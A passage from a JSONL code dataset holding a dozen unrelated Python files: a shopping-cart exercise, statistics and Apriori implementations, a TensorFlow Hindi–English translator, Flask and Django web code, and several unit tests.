ele[0], ele[1])\n print(\"end\".center(30, \"-\"))\n product = input(\"请选择商品序号[quit]:\")\n if product.isdigit(): # 判断是否为数字\n product = int(product) # 转换为int\n if (product > 0) and (len(shop_list) + 1 > product): # 判断输入的数字是否正确\n\n # salary -= shop_list[product - 1][1]\n pay = pay + shop_list[product - 1][1]\n if shop_list[product - 1][0] in shopping_car: # 添加商品至购物车\n shopping_car[shop_list[product - 1][0]] += 1\n else:\n shopping_car[shop_list[product - 1][0]] = 1\n # print(\"你添加了[%s] 到购物车,你的余额还有%s\" % (shop_list[product - 1][0], salary))\n\n else:\n print(\"没有此商品...\")\n elif product == 'quit':\n print(\"已购买的商品为\".center(40, '#'))\n for key in shopping_car.keys():\n print(\"%s * %s\".center(40,' ')%(key,shopping_car[key]))\n print(\"总计消费: %s\".center(40,' ')%pay)\n xiaofei()\n\n exit()\n else:\n continue\n","sub_path":"day5_161106/HomeWork/shopping_mall/shopping_mall.py","file_name":"shopping_mall.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"476558258","text":"'''\nCreated on Sep 19, 2015\n\n@author: KevinFAN\n'''\nimport math\nclass DataSet(object):\n\n def __init__(self):\n pass\n \n def gamma(self, x):\n if(x == 1):\n return 1\n if(x == 0.5):\n return math.sqrt(math.pi)\n return (x - 1) * self.gamma(x - 1)\n \n def LHP(self, n):\n n = float(n)\n numerator = self.gamma((n + 1.0) / 2.0)\n denominator = self.gamma(n / 2.0) * math.sqrt(n * math.pi)\n result = numerator / denominator\n return result\n \n def RHP(self, t, n, f):\n epsilon = 0.001\n simpsonOld = 0\n simpsonNew = epsilon\n s = 4\n while (abs((simpsonNew - simpsonOld) / simpsonNew) > epsilon):\n simpsonOld = simpsonNew\n w = t/s\n simpsonNew = f(0,n) + f(t,n)\n flagTag = True\n for i in range(1,s):\n if flagTag:\n simpsonNew = simpsonNew + 4*f(i*w, n)\n flagTag = False\n else:\n simpsonNew =simpsonNew + 2*f(i*w, n)\n flagTag = True\n simpsonNew = (w/3) * simpsonNew\n s = s * 2\n return simpsonNew\n\n \n def f(self, u, n):\n n = float(n)\n base = (1 + (u ** 2) / n)\n exponent = -(n + 1.0) / 2.0\n result = base ** exponent\n return result\n \n def p(self, t=None, n=None, tails=None):\n if(t == None):\n raise ValueError\n if(not(isinstance(t, float))):\n raise ValueError\n if(t < 0.0):\n raise ValueError\n \n if(tails == None):\n raise ValueError\n if(not(isinstance(tails, int))):\n raise ValueError\n if((tails != 1) & (tails != 2)):\n raise ValueError\n \n if(n == None):\n raise ValueError\n if(not(isinstance(n, int))):\n raise ValueError\n if(n < 3):\n raise ValueError\n \n self.n = n\n \n constant = self.LHP(n)\n integration = self.RHP(t, n, self.f)\n \n if(tails == 1):\n result = constant * integration + 0.5\n else:\n result = constant * integration * 2\n \n if(result > 1.0):\n raise ValueError\n \n return result\n \n \n \n \n \n \n","sub_path":"KZF0019/FA02/prod/DataSet.py","file_name":"DataSet.py","file_ext":"py","file_size_in_byte":2393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"94601940","text":"\n#==================================Importing=============================================\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport tensorflow as tf\n\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\nfrom sklearn.model_selection import train_test_split\n\nimport unicodedata\nimport re\nimport numpy as np\nimport os\nimport io\nimport time\nimport urllib3\nimport shutil\nimport zipfile\n\ngpus = tf.config.experimental.list_physical_devices('GPU')\ntf.config.experimental.set_memory_growth(gpus[0], True)\nprint(tf.__version__)\n#==================================Importing=============================================\n\n\n#==================================Downloading===========================================\nhttp = urllib3.PoolManager()\nurl = 'http://www.manythings.org/anki/hin-eng.zip'\nfilename = 'hin-eng.zip'\npath = os.getcwd()\nzipfilename = os.path.join(path, filename)\n\nwith http.request('GET', url, preload_content=False) as r, open(zipfilename, 'wb') as out_file: \n shutil.copyfileobj(r, out_file)\nprint(zipfilename)\nwith zipfile.ZipFile(zipfilename, 'r') as zip_ref:\n zip_ref.extractall(path)\n#==================================Downloading===========================================\n\n#==================================DataPreparation=======================================\nfrom lib.utils import unicode_to_ascii, preprocess_sentence, create_dataset, create_new_dataset, load_dataset, max_length, convert\n\nen_sentence = u\"May I borrow this book?\"\nsp_sentence = u\"क्या मैं यह पुस्तक उधार ले सकता हूँ?\"\nprint(preprocess_sentence(en_sentence))\nprint(preprocess_sentence(sp_sentence).encode('utf-8'))\n\n\npath_to_file = os.path.join(os.getcwd(), \"hin.txt\")\nen_1, hi_1 = create_dataset(path_to_file, None)\n\nen_path = \"/home/shravan/Downloads/indic_languages_corpus/bilingual/hi-en/train.en\"\nhi_path = \"/home/shravan/Downloads/indic_languages_corpus/bilingual/hi-en/train.hi\"\nen_2, hi_2 = create_new_dataset(en_path, hi_path)\n\nen = en_1 + en_2\nhi = hi_1 + hi_2\n\n# Try experimenting with the size of that dataset\nnum_examples = 80000\ninput_tensor, target_tensor, inp_lang, targ_lang = load_dataset(path_to_file, num_examples)\n\n# Calculate max_length of the target tensors\nmax_length_targ, max_length_inp = max_length(target_tensor), max_length(input_tensor)\n\n\n# Creating training and validation sets using an 80-20 split\ninput_tensor_train, input_tensor_val, target_tensor_train, target_tensor_val = train_test_split(input_tensor, target_tensor, test_size=0.2)\n\n# Show length\nprint(len(input_tensor_train), len(target_tensor_train), len(input_tensor_val), len(target_tensor_val))\n\nprint (\"Input Language; index to word mapping\")\nconvert(inp_lang, input_tensor_train[0])\nprint ()\nprint (\"Target Language; index to word mapping\")\nconvert(targ_lang, target_tensor_train[0])\n\n\n\nBUFFER_SIZE = len(input_tensor_train)\nBATCH_SIZE = 64\nsteps_per_epoch = len(input_tensor_train)//BATCH_SIZE\nembedding_dim = 256\nunits = 1024\nvocab_inp_size = len(inp_lang.word_index)+1\nvocab_tar_size = len(targ_lang.word_index)+1\n\ndataset = tf.data.Dataset.from_tensor_slices((input_tensor_train, target_tensor_train)).shuffle(BUFFER_SIZE)\ndataset = dataset.batch(BATCH_SIZE, drop_remainder=True)\n\nexample_input_batch, example_target_batch = next(iter(dataset))\nexample_input_batch.shape, example_target_batch.shape\n#==================================DataPreparation=======================================\n\n\n#==================================Encoder===============================================\nfrom lib.encoder import Encoder\nencoder = Encoder(vocab_inp_size, embedding_dim, units, BATCH_SIZE)\n\n# sample input\nsample_hidden = encoder.initialize_hidden_state()\nsample_output, sample_hidden = encoder(example_input_batch, sample_hidden)\nprint ('Encoder output shape: (batch size, sequence length, units) {}'.format(sample_output.shape))\nprint ('Encoder Hidden state shape: (batch size, units) {}'.format(sample_hidden.shape))\n\n#==================================Encoder===============================================\n\n#==================================Attention=============================================\nfrom lib.attention import BahdanauAttention\n\nattention_layer = BahdanauAttention(10)\nattention_result, attention_weights = attention_layer(sample_hidden, sample_output)\n\nprint(\"Attention result shape: (batch size, units) {}\".format(attention_result.shape))\nprint(\"Attention weights shape: (batch_size, sequence_length, 1) {}\".format(attention_weights.shape))\n\n#==================================Attention=============================================\n\n#==================================Dencoder==============================================\nfrom lib.decoder import Decoder\n\ndecoder = Decoder(vocab_tar_size, embedding_dim, units, BATCH_SIZE)\n\nsample_decoder_output, _, _ = decoder(tf.random.uniform((BATCH_SIZE, 1)),\n sample_hidden, sample_output)\n\nprint ('Decoder output shape: (batch_size, vocab size) {}'.format(sample_decoder_output.shape))\n\n#==================================Dencoder==============================================\n\n\n\n#==================================Optimizer=============================================\noptimizer = tf.keras.optimizers.Adam()\nloss_object = tf.keras.losses.SparseCategoricalCrossentropy(\n from_logits=True, reduction='none')\n\ndef loss_function(real, pred):\n mask = tf.math.logical_not(tf.math.equal(real, 0))\n loss_ = loss_object(real, pred)\n\n mask = tf.cast(mask, dtype=loss_.dtype)\n loss_ *= mask\n\n return tf.reduce_mean(loss_)\n\n#==================================Optimizer=============================================\n\n\n\n#==================================CheckPoint============================================\ncheckpoint_dir = './training_checkpoints'\ncheckpoint_prefix = os.path.join(checkpoint_dir, \"ckpt\")\ncheckpoint = tf.train.Checkpoint(optimizer=optimizer,\n encoder=encoder,\n decoder=decoder)\n\n#==================================CheckPoint============================================\n\n\n#==================================Training==============================================\n@tf.function\ndef train_step(inp, targ, enc_hidden):\n loss = 0\n\n with tf.GradientTape() as tape:\n enc_output, enc_hidden = encoder(inp, enc_hidden)\n\n dec_hidden = enc_hidden\n\n dec_input = tf.expand_dims([targ_lang.word_index['']] * BATCH_SIZE, 1)\n\n # Teacher forcing - feeding the target as the next input\n for t in range(1, targ.shape[1]):\n # passing enc_output to the decoder\n predictions, dec_hidden, _ = decoder(dec_input, dec_hidden, enc_output)\n\n loss += loss_function(targ[:, t], predictions)\n\n # using teacher forcing\n dec_input = tf.expand_dims(targ[:, t], 1)\n\n batch_loss = (loss / int(targ.shape[1]))\n\n variables = encoder.trainable_variables + decoder.trainable_variables\n\n gradients = tape.gradient(loss, variables)\n\n optimizer.apply_gradients(zip(gradients, variables))\n\n return batch_loss\n#==================================Training==============================================\n\n\nEPOCHS = 10\n\nfor epoch in range(EPOCHS):\n start = time.time()\n\n enc_hidden = encoder.initialize_hidden_state()\n total_loss = 0\n\n for (batch, (inp, targ)) in enumerate(dataset.take(steps_per_epoch)):\n batch_loss = train_step(inp, targ, enc_hidden)\n total_loss += batch_loss\n\n if batch % 100 == 0:\n print('Epoch {} Batch {} Loss {:.4f}'.format(epoch + 1,\n batch,\n batch_loss.numpy()))\n # saving (checkpoint) the model every 2 epochs\n if (epoch + 1) % 2 == 0:\n checkpoint.save(file_prefix = checkpoint_prefix)\n\n print('Epoch {} Loss {:.4f}'.format(epoch + 1,\n total_loss / steps_per_epoch))\n print('Time taken for 1 epoch {} sec\\n'.format(time.time() - start))\n\n\n\n#==================================Evaluate===========================================\ndef evaluate(sentence):\n attention_plot = np.zeros((max_length_targ, max_length_inp))\n\n sentence = preprocess_sentence(sentence)\n\n #inputs = [inp_lang.word_index[i] for i in sentence.split(' ')]\n inputs = []\n for i in sentence.split(' '):\n if i == \"\":\n break\n wi = inp_lang.word_index.get(i)\n print(\"index--->\", i)\n print(\"class--->\", type(inp_lang.word_index.get(i)))\n if wi:\n inputs.append(wi)\n\n\n inputs = tf.keras.preprocessing.sequence.pad_sequences([inputs],\n maxlen=max_length_inp,\n padding='post')\n inputs = tf.convert_to_tensor(inputs)\n\n result = ''\n\n hidden = [tf.zeros((1, units))]\n enc_out, enc_hidden = encoder(inputs, hidden)\n\n dec_hidden = enc_hidden\n dec_input = tf.expand_dims([targ_lang.word_index['']], 0)\n\n for t in range(max_length_targ):\n predictions, dec_hidden, attention_weights = decoder(dec_input,\n dec_hidden,\n enc_out)\n\n # storing the attention weights to plot later on\n attention_weights = tf.reshape(attention_weights, (-1, ))\n attention_plot[t] = attention_weights.numpy()\n\n predicted_id = tf.argmax(predictions[0]).numpy()\n\n result += targ_lang.index_word[predicted_id] + ' '\n\n if targ_lang.index_word[predicted_id] == '':\n return result, sentence, attention_plot\n\n # the predicted ID is fed back into the model\n dec_input = tf.expand_dims([predicted_id], 0)\n\n return result, sentence, attention_plot\n#==================================Evaluate===========================================\n\n\n# function for plotting the attention weights\ndef plot_attention(attention, sentence, predicted_sentence):\n fig = plt.figure(figsize=(10,10))\n ax = fig.add_subplot(1, 1, 1)\n ax.matshow(attention, cmap='viridis')\n\n fontdict = {'fontsize': 14}\n\n ax.set_xticklabels([''] + sentence, fontdict=fontdict, rotation=90)\n ax.set_yticklabels([''] + predicted_sentence, fontdict=fontdict)\n\n ax.xaxis.set_major_locator(ticker.MultipleLocator(1))\n ax.yaxis.set_major_locator(ticker.MultipleLocator(1))\n\n plt.show()\n\n\n\ndef translate(sentence):\n result, sentence, attention_plot = evaluate(sentence)\n\n print('Input: %s' % (sentence))\n print('Predicted translation: {}'.format(result))\n\n attention_plot = attention_plot[:len(result.split(' ')), :len(sentence.split(' '))]\n #plot_attention(attention_plot, sentence.split(' '), result.split(' '))\n\n\n\n\n\n#==================================RestoreCheckPoint===================================\ncheckpoint.restore(tf.train.latest_checkpoint(checkpoint_dir))\n#==================================RestoreCheckPoint===================================\n\n\n#translate(u'क्या हाल है')\n#translate(u'मैं तुम्हें पसंद करता हूं')\n#translate(u'तूफान उसे निकटतम आदमी हो जाएगा.')\ntranslate(u'यहाँ नहीं या मेरी दुकान में.')\n","sub_path":"hi_to_en/bp.py","file_name":"bp.py","file_ext":"py","file_size_in_byte":11234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"527782906","text":"import pickle\n\n\ndef get_file_data():\n \"\"\"\n\n :return: list\n \"\"\"\n infile = open('accounts.data', 'rb')\n my_list = pickle.load(infile)\n infile.close()\n\n return my_list\n\n\ndef write_data_infile(my_list):\n \"\"\"\n\n :param my_list:\n :return:\n \"\"\"\n outfile = open('accounts.data', 'wb')\n pickle.dump(my_list, outfile)\n outfile.close()\n","sub_path":"global_methods.py","file_name":"global_methods.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"338497138","text":"import random\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom tests.factories import ClassFactory\nfrom tests.factories import FactoryTestCase\nfrom xsdata.codegen.resolver import DependenciesResolver\nfrom xsdata.formats.dataclass.generator import DataclassGenerator\n\n\nclass DataclassGeneratorTests(FactoryTestCase):\n @mock.patch.object(DataclassGenerator, \"render_package\")\n @mock.patch.object(DataclassGenerator, \"render_module\")\n def test_render(\n self, mock_render_module, mock_render_package,\n ):\n classes = [\n ClassFactory.create(package=\"foo.bar\"),\n ClassFactory.create(package=\"bar.foo\"),\n ClassFactory.create(package=\"thug.life\"),\n ]\n\n mock_render_module.return_value = \"module\"\n mock_render_package.return_value = \"package\"\n\n iterator = DataclassGenerator().render(classes)\n\n cwd = Path.cwd()\n actual = [(out.path, out.title, out.source) for out in iterator]\n expected = [\n (cwd.joinpath(\"foo/bar/__init__.py\"), \"init\", \"package\"),\n (cwd.joinpath(\"foo/__init__.py\"), \"init\", \"# nothing here\\n\"),\n (cwd.joinpath(\"bar/foo/__init__.py\"), \"init\", \"package\"),\n (cwd.joinpath(\"bar/__init__.py\"), \"init\", \"# nothing here\\n\"),\n (cwd.joinpath(\"thug/life/__init__.py\"), \"init\", \"package\"),\n (cwd.joinpath(\"thug/__init__.py\"), \"init\", \"# nothing here\\n\"),\n (cwd.joinpath(\"foo/bar/tests.py\"), \"foo.bar.tests\", \"module\"),\n (cwd.joinpath(\"bar/foo/tests.py\"), \"bar.foo.tests\", \"module\"),\n (cwd.joinpath(\"thug/life/tests.py\"), \"thug.life.tests\", \"module\"),\n ]\n self.assertEqual(expected, actual)\n mock_render_package.assert_has_calls([mock.call([x]) for x in classes])\n mock_render_module.assert_has_calls([mock.call(mock.ANY, [x]) for x in classes])\n\n def test_render_package(self):\n classes = ClassFactory.list(3)\n random.shuffle(classes)\n\n actual = DataclassGenerator().render_package(classes)\n expected = \"\\n\".join(\n [\n \"from foo.tests import ClassB\",\n \"from foo.tests import ClassC\",\n \"from foo.tests import ClassD\",\n \"\",\n ]\n )\n self.assertEqual(expected, actual)\n\n def test_render_module(self):\n classes = [ClassFactory.enumeration(2), ClassFactory.elements(2)]\n resolver = DependenciesResolver()\n\n actual = DataclassGenerator().render_module(resolver, classes)\n expected = (\n \"from enum import Enum\\n\"\n \"from dataclasses import dataclass, field\\n\"\n \"from typing import Optional\\n\\n\"\n '__NAMESPACE__ = \"xsdata\"\\n\\n\\n'\n \"class ClassB(Enum):\\n\"\n ' \"\"\"\\n'\n \" :cvar ATTR_B:\\n\"\n \" :cvar ATTR_C:\\n\"\n ' \"\"\"\\n'\n \" ATTR_B = None\\n\"\n \" ATTR_C = None\\n\\n\\n\"\n \"@dataclass\\n\"\n \"class ClassC:\\n\"\n ' \"\"\"\\n'\n \" :ivar attr_d:\\n\"\n \" :ivar attr_e:\\n\"\n ' \"\"\"\\n'\n \" class Meta:\\n\"\n ' name = \"class_C\"\\n\\n'\n \" attr_d: Optional[str] = field(\\n\"\n \" default=None,\\n\"\n \" metadata=dict(\\n\"\n ' name=\"attr_D\",\\n'\n ' type=\"Element\"\\n'\n \" )\\n\"\n \" )\\n\"\n \" attr_e: Optional[str] = field(\\n\"\n \" default=None,\\n\"\n \" metadata=dict(\\n\"\n ' name=\"attr_E\",\\n'\n ' type=\"Element\"\\n'\n \" )\\n\"\n \" )\\n\"\n )\n self.assertEqual(expected, actual)\n\n def test_module_name(self):\n self.assertEqual(\"foo_bar\", DataclassGenerator.module_name(\"fooBar\"))\n self.assertEqual(\"foo_bar_wtf\", DataclassGenerator.module_name(\"fooBar.wtf\"))\n self.assertEqual(\"mod_1111\", DataclassGenerator.module_name(\"1111\"))\n self.assertEqual(\"xs_string\", DataclassGenerator.module_name(\"xs:string\"))\n self.assertEqual(\"foo_bar_bam\", DataclassGenerator.module_name(\"foo:bar_bam\"))\n self.assertEqual(\"bar_bam\", DataclassGenerator.module_name(\"urn:bar_bam\"))\n\n def test_package_name(self):\n self.assertEqual(\n \"foo.bar_bar.pkg_1\", DataclassGenerator.package_name(\"Foo.BAR_bar.1\")\n )\n","sub_path":"tests/formats/dataclass/test_generator.py","file_name":"test_generator.py","file_ext":"py","file_size_in_byte":4490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"528603447","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[4]:\n\n\nimport csv\na=[]\nwith open('/home/cmruuser/Documents/ex.csv') as csfile:\n reader = csv.reader(csfile)\n for row in reader:\n a.append(row)\n print(row)\nnum_attributes=len(a[0])-1\nprint(\"The most general hypothesis:\",[\"?\"]*num_attributes)\nprint(\"The most specific hypothesis:\",[\"0\"]*num_attributes)\nhypothesis=a[0][:-1]\nprint(\"\\n Find S: Finding a maximally specific hypothesis\")\nfor i in range (len(a)):\n if a[i][num_attributes] == \"1\":\n for j in range(num_attributes):\n if a[i][j]!=hypothesis[j]:\n hypothesis[j]='?'\n print(\"The taining example no:\",i+1,\" the hyposthesis is:\",hypothesis)\nprint(\"\\n The maximally specific hypohthesis for training set is\")\nprint(hypothesis)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Find S Algorithm.py","file_name":"Find S Algorithm.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"324428638","text":"#!/usr/bin/python\n\n\nfrom ...DumpInfo import dumpInfo\nimport subprocess\nimport logging\n\ndef runShellCmd(command, ok_msg=None, error_msg=None, doRaise=True, debug_info=False):\n '''Return the status code'''\n if debug_info == True:\n logging.info('[Run: ' + str(command) + ']')\n #print '[Run: ' + command + ']'\n\n shell_run = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n\n return_string = ''\n status_code = shell_run.wait()\n for line in shell_run.stdout.readlines():\n if debug_info == True:\n logging.info(str(line))\n #print line\n return_string = return_string + line\n if status_code == 0:\n if debug_info == True:\n #print ok_msg\n logging.info(str(ok_msg))\n else:\n if doRaise == True:\n if debug_info == True:\n #print error_msg\n logging.info(str(error_msg))\n raise RuntimeError(error_msg, 'in RunShellCommand.py')\n else:\n if debug_info == True:\n #print error_msg\n logging.info(str(error_msg))\n return False\n return return_string\n\n\nclass RunShellCommand():\n def __init__(self, debug=True):\n self.cmdSubprocessDict = {}\n self.debug = debug\n self.incompleteCommandsList = []\n\n def addRunningCommand(self, command):\n dumpInfo('Run command: '+str(command)+' ...')\n shellRun = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n self.cmdSubprocessDict[str(command)] = shellRun\n dumpInfo('Command '+str(command)+' has been started.')\n\n def wait4Subprocess(self):\n dumpInfo('Waiting for all the shell commands over...')\n for (i, j) in self.cmdSubprocessDict.items():\n\n statusCode = j.wait()\n dumpInfo('The command \"'+i+'\" status cde is:')\n dumpInfo(statusCode, raw=True)\n\n returnString = ''\n for line in j.stdout.readlines():\n dumpInfo(line, raw=True)\n if statusCode != 0:\n self.incompleteCommandsList.append(i)\n\n def getIncompleteCommands(self):\n return self.incompleteCommandsList\n\n\n\n\n\n\n\n\n","sub_path":"NxExplore/NxExplore/NxView/NxUsr/NxLib/NxCallSystem/Linux/RunShellCommand.py","file_name":"RunShellCommand.py","file_ext":"py","file_size_in_byte":2252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"588556149","text":"from flask import Blueprint, render_template, redirect, request, url_for\nfrom app.models import Music, Instrument\n\nbp = Blueprint('ui', __name__)\n\n@bp.route('/')\ndef index():\n '''Browse all sheet music.'''\n music = Music.query.all()\n return render_template('music.html', music=music, title=\"Home\")\n\ndef sheet_template(sheet):\n '''The actual template rendering for sheet music.'''\n page_title = \"Viewing {}\".format(sheet.name)\n # Retrieves instruments with super hacky way\n instruments = list(map(lambda i: Instrument.query.get(i.id), sheet.instruments))\n return render_template('sheet.html', sheet=sheet, title=page_title, instruments=instruments)\n\n@bp.route('/sheet///')\ndef sheet_with_name(id, url):\n '''Route for sheet music when both ID and URL slug is given.'''\n sheet = Music.query.get(id)\n if sheet.url == url:\n return sheet_template(sheet)\n return redirect(url_for('sheet_with_name', id=id, url=sheet.url))\n\n@bp.route('/sheet//')\ndef sheet_with_id(id):\n '''Route for sheet music when only ID is given. Redirects to full URL.'''\n sheet = Music.query.get(id)\n return redirect(url_for('sheet_with_name', id=id, url=sheet.url))\n\n@bp.route('/search/')\ndef search():\n '''Search music by name.'''\n results = []\n if request.args.get('q'):\n results = Music.query.filter(Music.name.contains(request.args.get('q')))\n\n return render_template('search.html', music=results, title='Search')\n","sub_path":"app/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"330038391","text":"\"\"\"morfologisch_keuzeschema URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\nfrom .views import KeuzeSchemaView, ConceptenView, ConceptView\n\napp_name = 'keuzeschema'\n\nurlpatterns = [\n path('', KeuzeSchemaView.as_view(), name='keuzeschema'),\n path('concepten/', ConceptenView.as_view(), name='concepten'),\n path('concept/delete//', ConceptView.as_view(), name='concept')\n]\n","sub_path":"keuzeschema/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"514856696","text":"import pandas\nimport numpy\nimport argparse\nimport itertools\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--file')\nparser.add_argument('--minrs', type=int)\nargs = parser.parse_args()\n\nGOODS_FILE = \"goods.csv\"\nBAKERY_OUT2= \"-out2.csv\"\n\ndef load_good_labels(filename):\n # labeled goods df, indexed on Id has Flavor, Food, Price, Type column\n good_labels_df = pandas.read_csv(filename, index_col=\"Id\")\n return good_labels_df\n\ndef load_full_bv_bakery(filename):\n # indexed by transaction id, .iloc[tid][item_id] to get value\n full_bv_df = pandas.read_csv(filename, index_col=0, header=None, \n names=[i for i in range(51)])\n # example full_bv_df.iloc[2][2]\n return full_bv_df\n\ndef apriori_freq_first_pass(transactions, items, minsup):\n \"\"\"\n transactions - df from -out2 file\n items - list from 1-50 representing bakery items and indeces of df vector\n minsup - minsupport\n \"\"\"\n freq_sets = {}\n item_counts = {i: sum(transactions[i]) for i in transactions.columns}\n sum_all_items = sum(item_counts[i] for i in transactions.columns)\n item_rsup = {i: item_counts[i] / sum_all_items for i in transactions.columns}\n print(item_rsup)\n\n freq_sets[1] = {'f1': round_1_candidates(items, item_rsup, minsup)}\n k = 2\n print(freq_sets[1])\n while len(freq_sets[k-1]) > 0:\n candidates = candidate_gen(freq_sets[k-1], k)\n count_dict = {candidates[i]: 0 for i in range(0, len(candidates))}\n for candidate in count_dict:\n candidate_indexes = numpy.asarray(candidate)\n for i in range(len(candidate_indexes)):\n candidate_indexes[i] -= 1\n for i in range(0, len(transactions)):\n row = transactions.iloc[i, candidate_indexes]\n if row.sum() == k:\n count_dict[candidate] += 1\n\n print(\"DONE WITH ROUND COUNTING\")\n still_frequent = []\n for i in count_dict:\n print(count_dict[i] / sum_all_items)\n if (count_dict[i] / sum_all_items) >= minsup:\n still_frequent.append(i)\n \n freq_sets[k] = {'f'+str(k): still_frequent}\n print(freq_sets[k], end=' ')\n \n k += 1\n \n \n\n for tid in transactions.columns:\n continue\n \"\"\"\n transaction = transactions[tid]\n for item in items:\n item_count[item] += transaction[tid][item]\n \"\"\"\n\n\ndef apriori_freq_itemsets(transactions, items, minsup):\n # first pass\n pass\n \ndef round_1_candidates(items, item_rsup, minsup):\n candidates = []\n for item in items:\n if item_rsup[item] >= minsup:\n candidates.append(item)\n return candidates\n\n\ndef candidate_gen(candidates, k):\n '''Note, this solely does the join step, not pruning currently'''\n union = itertools.combinations(candidates['f'+str((k-1))], k)\n c = []\n for i in union:\n c.append(i)\n return c\n\nif __name__ == \"__main__\":\n good_labels_df = load_good_labels(GOODS_FILE)\n bakery_bv_df = load_full_bv_bakery(f\"1000/1000{BAKERY_OUT2}\")\n apriori_freq_first_pass(bakery_bv_df, (i for i in range(1, 51)), 0.026)\n\n\n","sub_path":"lab2/apriori.py","file_name":"apriori.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"328709503","text":"# Copyright (C) 2015-2018 Regents of the University of California\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport pickle\n\nfrom toil.common import Config\nfrom toil.job import Job\nfrom toil.jobGraph import JobGraph\nfrom toil.jobStores.fileJobStore import FileJobStore\nfrom toil.test import ToilTest, travis_test\nfrom toil.worker import nextChainableJobGraph\n\nclass WorkerTests(ToilTest):\n \"\"\"Test miscellaneous units of the worker.\"\"\"\n def setUp(self):\n super(WorkerTests, self).setUp()\n path = self._getTestJobStorePath()\n self.jobStore = FileJobStore(path)\n self.config = Config()\n self.config.jobStore = 'file:%s' % path\n self.jobStore.initialize(self.config)\n self.jobGraphNumber = 0\n \n @travis_test\n def testNextChainableJobGraph(self):\n \"\"\"Make sure chainable/non-chainable jobs are identified correctly.\"\"\"\n def createJobGraph(memory, cores, disk, preemptable, checkpoint):\n \"\"\"Create a fake-ish Job and JobGraph pair, and return the\n jobGraph.\"\"\"\n name = 'jobGraph%d' % self.jobGraphNumber\n self.jobGraphNumber += 1\n\n job = Job()\n job.checkpoint = checkpoint\n # The job doesn't have a jobStoreID yet, so we can't tag the file\n with self.jobStore.writeFileStream() as (f, fileStoreID):\n pickle.dump(job, f, pickle.HIGHEST_PROTOCOL)\n command = '_toil %s fooCommand toil True' % fileStoreID\n jobGraph = JobGraph(command=command, memory=memory, cores=cores,\n disk=disk, unitName=name,\n jobName=name, preemptable=preemptable,\n jobStoreID=name, remainingRetryCount=1,\n predecessorNumber=1)\n return self.jobStore.create(jobGraph)\n\n # Identical non-checkpoint jobs should be chainable.\n jobGraph1 = createJobGraph(1, 2, 3, True, False)\n jobGraph2 = createJobGraph(1, 2, 3, True, False)\n jobGraph1.stack = [[jobGraph2]]\n self.assertEqual(jobGraph2, nextChainableJobGraph(jobGraph1, self.jobStore))\n\n # Identical checkpoint jobs should not be chainable.\n jobGraph1 = createJobGraph(1, 2, 3, True, False)\n jobGraph2 = createJobGraph(1, 2, 3, True, True)\n jobGraph1.stack = [[jobGraph2]]\n self.assertEqual(None, nextChainableJobGraph(jobGraph1, self.jobStore))\n\n # If there is no child we should get nothing to chain.\n jobGraph1 = createJobGraph(1, 2, 3, True, False)\n jobGraph1.stack = []\n self.assertEqual(None, nextChainableJobGraph(jobGraph1, self.jobStore))\n\n # If there are 2 or more children we should get nothing to chain.\n jobGraph1 = createJobGraph(1, 2, 3, True, False)\n jobGraph2 = createJobGraph(1, 2, 3, True, False)\n jobGraph3 = createJobGraph(1, 2, 3, True, False)\n jobGraph1.stack = [[jobGraph2, jobGraph3]]\n self.assertEqual(None, nextChainableJobGraph(jobGraph1, self.jobStore))\n\n # If there is an increase in resource requirements we should get nothing to chain.\n reqs = {'memory': 1, 'cores': 2, 'disk': 3, 'preemptable': True, 'checkpoint': False}\n for increased_attribute in ('memory', 'cores', 'disk'):\n jobGraph1 = createJobGraph(**reqs)\n reqs[increased_attribute] += 1\n jobGraph2 = createJobGraph(**reqs)\n jobGraph1.stack = [[jobGraph2]]\n self.assertEqual(None, nextChainableJobGraph(jobGraph1, self.jobStore))\n\n # A change in preemptability from True to False should be disallowed.\n jobGraph1 = createJobGraph(1, 2, 3, True, False)\n jobGraph2 = createJobGraph(1, 2, 3, False, True)\n 